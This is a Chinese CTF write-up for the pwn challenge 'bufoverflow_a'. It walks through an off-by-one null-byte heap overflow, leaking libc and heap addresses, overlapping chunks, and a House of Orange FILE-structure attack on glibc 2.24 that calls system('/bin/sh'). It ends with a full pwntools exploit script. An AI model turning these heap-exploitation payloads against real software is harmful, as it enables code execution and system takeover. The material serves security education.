攻防世界PWN之bufoverflow_a题解(house of orange in 2.24house of Einherjar)

2023-11-10 06:58

本文主要是介绍攻防世界PWN之bufoverflow_a题解(house of orange in 2.24house of Einherjar),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

bufoverflow_a

首先,我们检查一下程序的保护机制

然后,我们用IDA分析一下,是一个经典的增删改查的程序,然后我们看到创建堆时,前两个堆是用malloc创建,后面的堆用calloc创建,这意味着,如果要泄露libc地址,只能靠前两个堆,后面的堆从bin里取出后会清空里面的信息。

Fill功能存在一个null off by one漏洞

我们每次只能对最后创建的那个堆进行读写操作

并且delete以后,指针将清空,就无法进行读写操作,除非重新创建一个堆。

首先是泄露libc地址,这个很容易,创建一个unsorted bin范围的堆,然后后面再创建一个堆用来隔离,释放后再申请回来显示,即可泄露。

  1. #0  
  2. create(0x80)  
  3. #1  
  4. create(0x80)  
  5. delete(0)  
  6. delete(1)  
  7. #0申请回来,此时保留了libc指针  
  8. create(0x80)  
  9. show()  

接下来,我们要泄露堆地址,我们创建large bin范围的堆释放后申请一个比它还大的堆,使得它被放入large bin,从而堆上保留了堆指针,再申请回来。但是堆地址保存在fd_nextsize处,位于chunk_addr + 0x10处,我们如果直接显示,只能显示出fd的内容,因为后面有’\x00’结束了。并且,我们也不能利用fill来填充到fd_nextsize处,因为fill,内容的最后会添加一个’\x00’

这样,我们仍然不能显示出fd_nextsize的内容。

  1. #1  
  2. create(0x400) #large bin范围的堆释放后会有堆地址  
  3. create(0x80) #2  
  4. #1放入unsorted bin  
  5. delete(1)  
  6. #触发整理unsorted bin,将1放入large bin,从而1里堆有指针  
  7. create(0x500) #1  
  8. delete(1)  

目前,堆的布局是这样的

堆编号

大小

状态

0

0x90

used

1

0x410

free

2

0x90

used

Top chunk

 

 

在chunk1的数据域+0x10处,有堆指针。我们可以先释放chunk2,使得chunk12合并到top chunk,这样,堆布局变成了这样,但是里面的信息仍然没有清空。

堆编号

大小

状态

0

0x90

used

Top chunk

 

 

然后,我们继续释放chunk0,此时堆布局就只剩下一个TOP chunk

堆编号

大小

状态

Top chunk

 

 

接下来,我们申请一个0xA0大小的堆(数据域大小0x90)。因为bin里面没有合适的chunk,就从TOP chunk里划分,堆布局变成这样

堆编号

大小

状态

0

0xA0

used

Top chunk

 

 

然后,我们继续申请一个堆,大小任意,比如0x90

此时堆布局变成这样

堆编号

大小

状态

0

0xA0

used

1

0x90

used

Top chunk

 

 

由于chunk0大小为0xA0,比原先大了0x10,那么chunk1就会向后偏移0x10,也就是原来chunk1fd_nextsize位置是现在chunk1fd位置,这样,我们显示,就能泄露出堆地址了。

  1. #释放堆2,由于堆2下面是top块,堆2上面的堆1也是free状态,那么就和全部合并到top块里,但里面的指针信息仍然有保留。  
  2. delete(2)  
  3. #此时,堆0下面的堆1top块,释放0后,堆0也合并到了top块里。  
  4. delete(0)  
  5. #所有bin都合并了,只剩下一个top  
  6. #错位0x10,使得接下来1fd位置正好有堆指针  
  7. create(0x90) #0  
  8. create(0x80) #1  
  9. show()  
  10. sh.recv(1)  
  11. heap_base = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00')) - 0xB0  
  12. print 'heap_base=',hex(heap_base)  
  13. #============================================  
  14. delete(0)  
  15. delete(1)  

我们泄露完信息后,又重新把0和1给释放了,使得他们重新合并到top chunk里。因为我们不需要再用它们了。并且由于只有前两个堆使用malloc分配,后面的用calloc分配,为了后续利用,我们要腾出位置。

接下来,我们就要伪造堆了。我们最终的目的是要构造出这样的堆布局

Unsorted bin1

Unsorted bin2

 

这样,我们就能从unsorted bin1里申请合适的堆,控制unsorted bin2,从而利用house of orange来getshell。

那么,我们就先来伪造chunk

  1. #0  
  2. create(0x208)  
  3. fake_chunk = 'a'*0x20  
  4. fake_chunk += p64(0) + p64(0x1E1)  
  5. #fd=bk=p绕过检查  
  6. fake_chunk += p64(heap_base + 0x50)*2  
  7. fake_chunk = fake_chunk.ljust(0x200,'a')  
  8. fake_chunk += p64(0x1E0)  
  9. fill(fake_chunk)  
  10. #1  
  11. create(0x80)  
  12. #2注意,2必须为0xF0,这样实际为0x100off by null one后大小仍为0x100,与top chunk相邻,才能合并到top chunk  
  13. #因此不能在2末尾伪造fake_chunk  
  14. create(0xF0)  
  15. fill('b'*0xF0)  
  16.   
  17. delete(1)  
  18. #1  
  19. create(0x88)  
  20. fill('b'*0x80 + p64(0x270))  
  21. #合并  
  22. delete(2)  

需要注意的是,以前,为了绕过glibc中的检查

  1. if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                    
  2.   malloc_printerr ("corrupted double-linked list");  

我们这样操作的

  1. p->fd = &p-3*4  
  2. p->bk = &p-2*4  

但是,现在我们没有办法满足这个条件,我们直接这样

  1. p->fd = p  
  2. p->bk = p  

还有就是,我们的chunk2,包括头结构的总大小为0x100,不能再多也不能再少。

因为null off by one,可以将下一个chunk的size低一字节覆盖为0,因此,size必须大于1字节。但是如果size大于0x100,这意味着,覆盖以后,这个chunk变小了,我们还需在这个chunk的末尾伪造一个填充chunk。这样会使得待会利用时,由于有填充chunk把它与top chunk隔离,使得它不与top chunk合并。而我们的目的是要把fake_chunk合并到top chunk里,这样我们就能构造出包含的unsorted bin

经过这样的操作,我们的堆布局变成这样

堆编号

大小

状态

0

 

0x210

used

Top chunk

1

0x90

used

2

0x100

free

着色区域全都在top chunk里面,现在,我们就可以来构造两个包含的unsorted bin。

我们先来构造0和1构成的unsorted bin,为了能够顺利delete掉0和1,我们需要复原1和2的头结构相关信息。

  1. ####注意
  2. create(0x290) #2
  3. #重新复原12堆的头信息  
  4. fill('a'*0x1D0 + p64(0) + p64(0x91) + 'a'*0x80 + p64(0) + p64(0x101) + '\n')  
  5. #为了delete后我们的内容不被清空或填充,
  6. #我们需要把chunk1也给剔除,这样我们后面申请的时候,才不会被mallocopt设置free后的填充物
  7. #注意顺序!!!
  8. delete(1)  
  9. delete(0)  

由于top chunk在fake_chunk处,因此,我们申请时,从top chunk里切割就是从fake_chunk处开始切割。这样,我们就得到了最外层的unsorted bin。

然后,我们要开始构造内层的unsorted bin,那么我们需要释放fake_chunk。而fake_chunk此时位于index 2。接下来,我们申请堆,肯定会从我们辛苦得到的外层unsorted bin里切割,没关系,待会用完重新释放回去。在程序中的堆指针数组中下标2的地方保存着fake_chunk的地址,我们现在的目的是要成功释放fake_chunk2。但是,fake_chunk前后的chunk头信息已经被打乱,我们不能直接释放。

我们可以从外层unsorted bin里申请一个大点的堆,然后,我们要在这个堆里重新伪造fake_chunk,已经一个填充chunk,由于绕过检查。也就是说,我们要在原来的fake_chunk里面末尾腾出一点位置,制造一个填充chunk,就可以绕过检查了。

  1. #重新从外层的unsorted bin切割一块空间  
  2. create(0x290) #0  
  3. #fake_chunk里腾出位置伪造填充块,而这个chunk0末尾也要放一个填充块绕过检查  
  4. #也就是总共要伪造三个chunk,总大小要等于这个chunk0的大小,即0x290  
  5. fill('a'*0x20 + p64(0) + p64(0x91) + 'a'*0x80 + p64(0) + p64(0x151) + '\n')  
  6. delete(0) #得到外层unsorted bin  
  7. delete(2) #得到内层unsorted bin  
  8. create(0x290)  
  9. #现在,我们已经可以控制unsorted bin  

这样,我们就控制了内层的unsorted bin。那么我们就可以利用house of orange了。

本题,提供的libc版本是2.24,因此增加了对vtable的检查。

  1. IO_validate_vtable (const struct _IO_jump_t *vtable)  
  2. {  
  3.   /* Fast path: The vtable pointer is within the __libc_IO_vtables 
  4.      section.  */  
  5.   uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;  
  6.   const char *ptr = (const char *) vtable;  
  7.   uintptr_t offset = ptr - __start___libc_IO_vtables;  
  8.   if (__glibc_unlikely (offset >= section_length))  
  9.     /* The vtable pointer is not in the expected section.  Use the 
  10.        slow path, which will terminate the process if necessary.  */  
  11.     _IO_vtable_check ();  
  12.   return vtable;  
  13. }  

也就是vtable指针必须在__stop___IO_vtables 和 __start___libc_IO_vtables范围之内。因此,我们可以利用__IO_str_jumps来绕过

  1. {  
  2.   JUMP_INIT_DUMMY,  
  3.   JUMP_INIT(finish, _IO_str_finish),  
  4.   JUMP_INIT(overflow, _IO_str_overflow),  
  5.   JUMP_INIT(underflow, _IO_str_underflow),  
  6.   JUMP_INIT(uflow, _IO_default_uflow),  
  7.   JUMP_INIT(pbackfail, _IO_str_pbackfail),  
  8.   JUMP_INIT(xsputn, _IO_default_xsputn),  
  9.   JUMP_INIT(xsgetn, _IO_default_xsgetn),  
  10.   JUMP_INIT(seekoff, _IO_str_seekoff),  
  11.   JUMP_INIT(seekpos, _IO_default_seekpos),  
  12.   JUMP_INIT(setbuf, _IO_default_setbuf),  
  13.   JUMP_INIT(sync, _IO_default_sync),  
  14.   JUMP_INIT(doallocate, _IO_default_doallocate),  
  15.   JUMP_INIT(read, _IO_default_read),  
  16.   JUMP_INIT(write, _IO_default_write),  
  17.   JUMP_INIT(seek, _IO_default_seek),  
  18.   JUMP_INIT(close, _IO_default_close),  
  19.   JUMP_INIT(stat, _IO_default_stat),  
  20.   JUMP_INIT(showmanyc, _IO_default_showmanyc),  
  21.   JUMP_INIT(imbue, _IO_default_imbue)  
  22. };  

我们可以利用_IO_str_finish函数里的这个

  1. _IO_str_finish (FILE *fp, int dummy)  
  2. {  
  3.   if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))  
  4.     (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);  
  5.   fp->_IO_buf_base = NULL;  
  6.   _IO_default_finish (fp, 0);  
  7. }  

我们把vtable指向__IO_str_jumps,把fp->_free_buffer指向system函数,把fp->_IO_buf_base指向/bin/sh字符串,再伪造其他字段,绕过检查,这样就能触发调用system(“/bin/sh”)了。同理_IO_str_overflow类似。

  1. #house of orange in 2.24  
  2. fake_file = p64(0) + p64(0x60)  
  3. #unsorted bin attack,修改_IO_list_allmain_arena+88  
  4. fake_file += p64(0) + p64(_IO_list_all_addr-0x10)  
  5. #_IO_write_base < _IO_write_ptr  
  6. fake_file += p64(0) + p64(1)  
  7. #_IO_write_end IO_buf_base  
  8. fake_file += p64(0) + p64(binsh_addr)  
  9. fake_file = fake_file.ljust(0xD8,'\x00')  
  10. #vtable指针,同时,也作为fake_vtable__dummy  
  11. fake_file += p64(_IO_str_jumps_addr - 8)  
  12. #__dummy2__finish  
  13. fake_file += p64(0) + p64(system_addr)  

如果没有getshell,是由于栈环境问题,多试几次就行了。

综上,我们的exp脚本

#coding:utf8
from pwn import *sh = process('./bufoverflow_a')
#sh = remote('111.198.29.45',34863)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
#libc = ELF('./libc.so.6')
_IO_list_all_s = libc.symbols['_IO_list_all']
malloc_hook_s =  libc.symbols['__malloc_hook']
system_s = libc.sym['system']
binsh_s = libc.search('/bin/sh').next()def create(size):sh.sendlineafter('>>','1')sh.sendlineafter('Size:',str(size))def delete(index):sh.sendlineafter('>>','2')sh.sendlineafter('Index:',str(index))def fill(content):sh.sendlineafter('>>','3')sh.sendafter('Content:',content)def show():sh.sendlineafter('>>','4')def get_IO_str_jumps():IO_file_jumps_offset = libc.sym['_IO_file_jumps']IO_str_underflow_offset = libc.sym['_IO_str_underflow']for ref_offset in libc.search(p64(IO_str_underflow_offset)):possible_IO_str_jumps_offset = ref_offset - 0x20if possible_IO_str_jumps_offset > IO_file_jumps_offset:print possible_IO_str_jumps_offsetreturn possible_IO_str_jumps_offset
#==============泄露libc相关地址============
#0
create(0x80)
#1
create(0x80)
delete(0)
delete(1)
#0申请回来,此时保留了libc指针
create(0x80)
show()
sh.recv(1)
#泄露信息
main_arena_xx = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) +  (malloc_hook_s & 0XFFF)
libc_base = malloc_hook_addr - malloc_hook_s
_IO_list_all_addr = libc_base + _IO_list_all_s
_IO_str_jumps_addr = libc_base + get_IO_str_jumps()
system_addr = libc_base + system_s
binsh_addr = libc_base + binsh_s
print 'libc_base=',hex(libc_base)
print '_IO_list_all_addr=',hex(_IO_list_all_addr)
print 'system_addr=',hex(system_addr)
#===========泄露堆地址====================
#1
create(0x400) #large bin范围的堆释放后会有堆地址
create(0x80) #2
#将1放入unsorted bin
delete(1)
#触发整理unsorted bin,将1放入large bin,从而1里堆有指针
create(0x500) #1
delete(1)
#释放堆2,由于堆2下面是top块,堆2上面的堆1也是free状态,那么就和全部合并到top块里,但里面的指针信息仍然有保留。
delete(2)
#此时,堆0下面的堆1是top块,释放0后,堆0也合并到了top块里。
delete(0)
#所有bin都合并了,只剩下一个top块
#错位0x10,使得接下来1的fd位置正好有堆指针
create(0x90) #0
create(0x80) #1
show()
sh.recv(1)
heap_base = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00')) - 0xB0
print 'heap_base=',hex(heap_base)
#============================================
delete(0)
delete(1)
#0
create(0x208)
fake_chunk = 'a'*0x20
fake_chunk += p64(0) + p64(0x1E1)
#让fd=bk=p绕过检查
fake_chunk += p64(heap_base + 0x50)*2
fake_chunk = fake_chunk.ljust(0x200,'a')
fake_chunk += p64(0x1E0)
fill(fake_chunk)
#1
create(0x80)
#2注意,2必须为0xF0,这样实际为0x100,off by null one后大小仍为0x100,与top chunk相邻,才能合并到top chunk
#因此不能在2末尾伪造fake_chunk
create(0xF0)
fill('b'*0xF0)delete(1)
#1
create(0x88)
fill('b'*0x80 + p64(0x270))
#合并
delete(2)
####注意
create(0x290) #2
#重新复原1、2堆的头信息
fill('a'*0x1D0 + p64(0) + p64(0x91) + 'a'*0x80 + p64(0) + p64(0x101) + '\n')
#为了delete后我们的内容不被清空或填充,
#我们需要把chunk1也给剔除,这样我们后面申请的时候,才不会被mallocopt设置free后的填充物
#注意顺序!!!
delete(1)
delete(0)#重新从外层的unsorted bin切割一块空间
create(0x290) #0
#在fake_chunk里腾出位置伪造填充块,而这个chunk0末尾也要放一个填充块绕过检查
#也就是总共要伪造三个chunk,总大小要等于这个chunk0的大小,即0x290
fill('a'*0x20 + p64(0) + p64(0x91) + 'a'*0x80 + p64(0) + p64(0x151) + '\n')
delete(0) #得到外层unsorted bin
delete(2) #得到内层unsorted bin
create(0x290)
#现在,我们已经可以控制unsorted bin了
payload = 'a'*0x20
#house of orange in 2.24
fake_file = p64(0) + p64(0x60)
#unsorted bin attack,修改_IO_list_all为main_arena+88
fake_file += p64(0) + p64(_IO_list_all_addr-0x10)
#_IO_write_base < _IO_write_ptr
fake_file += p64(0) + p64(1)
#_IO_write_end 、IO_buf_base
fake_file += p64(0) + p64(binsh_addr)
fake_file = fake_file.ljust(0xD8,'\x00')
#vtable指针,同时,也作为fake_vtable的__dummy
fake_file += p64(_IO_str_jumps_addr - 8)
#__dummy2、__finish
fake_file += p64(0) + p64(system_addr)
payload += fake_file
payload += '\n'
fill(payload)
#getshell
create(0x80)sh.interactive()

 

这篇关于攻防世界PWN之bufoverflow_a题解(house of orange in 2.24house of Einherjar)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/381075

相关文章

揭秘世界上那些同时横跨两大洲的国家

我们在《世界人口过亿的一级行政区分布》盘点全球是那些人口过亿的一级行政区。 现在我们介绍五个横跨两州的国家,并整理七大洲和这些国家的KML矢量数据分析分享给大家,如果你需要这些数据,请在文末查看领取方式。 世界上横跨两大洲的国家 地球被分为七个大洲分别是亚洲、欧洲、北美洲、南美洲、非洲、大洋洲和南极洲。 七大洲示意图 其中,南极洲是无人居住的大陆,而其他六个大洲则孕育了众多国家和

C++ | Leetcode C++题解之第393题UTF-8编码验证

题目: 题解: class Solution {public:static const int MASK1 = 1 << 7;static const int MASK2 = (1 << 7) + (1 << 6);bool isValid(int num) {return (num & MASK2) == MASK1;}int getBytes(int num) {if ((num &

C语言 | Leetcode C语言题解之第393题UTF-8编码验证

题目: 题解: static const int MASK1 = 1 << 7;static const int MASK2 = (1 << 7) + (1 << 6);bool isValid(int num) {return (num & MASK2) == MASK1;}int getBytes(int num) {if ((num & MASK1) == 0) {return

C - Word Ladder题解

C - Word Ladder 题解 解题思路: 先输入两个字符串S 和t 然后在S和T中寻找有多少个字符不同的个数(也就是需要变换多少次) 开始替换时: tips: 字符串下标以0开始 我们定义两个变量a和b,用于记录当前遍历到的字符 首先是判断:如果这时a已经==b了,那么就跳过,不用管; 如果a大于b的话:那么我们就让s中的第i项替换成b,接着就直接输出S就行了。 这样

【秋招笔试】9.07米哈游秋招改编题-三语言题解

🍭 大家好这里是 春秋招笔试突围,一起备战大厂笔试 💻 ACM金牌团队🏅️ | 多次AK大厂笔试 | 大厂实习经历 ✨ 本系列打算持续跟新 春秋招笔试题 👏 感谢大家的订阅➕ 和 喜欢💗 和 手里的小花花🌸 ✨ 笔试合集传送们 -> 🧷春秋招笔试合集 🍒 本专栏已收集 100+ 套笔试题,笔试真题 会在第一时间跟新 🍄 题面描述等均已改编,如果和你笔试题看到的题面描述

LeetCode 第414场周赛个人题解

目录 Q1. 将日期转换为二进制表示 原题链接 思路分析 AC代码 Q2. 范围内整数的最大得分 原题链接 思路分析 AC代码 Q3. 到达数组末尾的最大得分 原题链接 思路分析 AC代码 Q4. 吃掉所有兵需要的最多移动次数 原题链接 思路分析 AC代码 Q1. 将日期转换为二进制表示 原题链接 Q1. 将日期转换为二进制表示 思路分析

简单的Q-learning|小明的一维世界(3)

简单的Q-learning|小明的一维世界(1) 简单的Q-learning|小明的一维世界(2) 一维的加速度世界 这个世界,小明只能控制自己的加速度,并且只能对加速度进行如下三种操作:增加1、减少1、或者不变。所以行动空间为: { u 1 = − 1 , u 2 = 0 , u 3 = 1 } \{u_1=-1, u_2=0, u_3=1\} {u1​=−1,u2​=0,u3​=1}

简单的Q-learning|小明的一维世界(2)

上篇介绍了小明的一维世界模型 、Q-learning的状态空间、行动空间、奖励函数、Q-table、Q table更新公式、以及从Q值导出策略的公式等。最后给出最简单的一维位置世界的Q-learning例子,从给出其状态空间、行动空间、以及稠密与稀疏两种奖励函数的设置方式。下面将继续深入,GO! 一维的速度世界 这个世界,小明只能控制自己的速度,并且只能对速度进行如下三种操作:增加1、减

牛客小白月赛100部分题解

比赛地址:牛客小白月赛100_ACM/NOI/CSP/CCPC/ICPC算法编程高难度练习赛_牛客竞赛OJ A.ACM中的A题 #include<bits/stdc++.h>using namespace std;#define ll long long#define ull = unsigned long longvoid solve() {ll a,b,c;cin>>a>>b>

【Linux】萌新看过来!一篇文章带你走进Linux世界

🚀个人主页:奋斗的小羊 🚀所属专栏:Linux 很荣幸您能阅读我的文章,诚请评论指点,欢迎欢迎 ~ 目录 前言💥1、初识Linux💥1.1 什么是操作系统?💥1.2 各种操作系统对比💥1.3 现代Linux应用💥1.4 Linux常用版本 💥2、Linux 和 Windows 目录结构对比💥2.1 文件系统组织方式💥2.2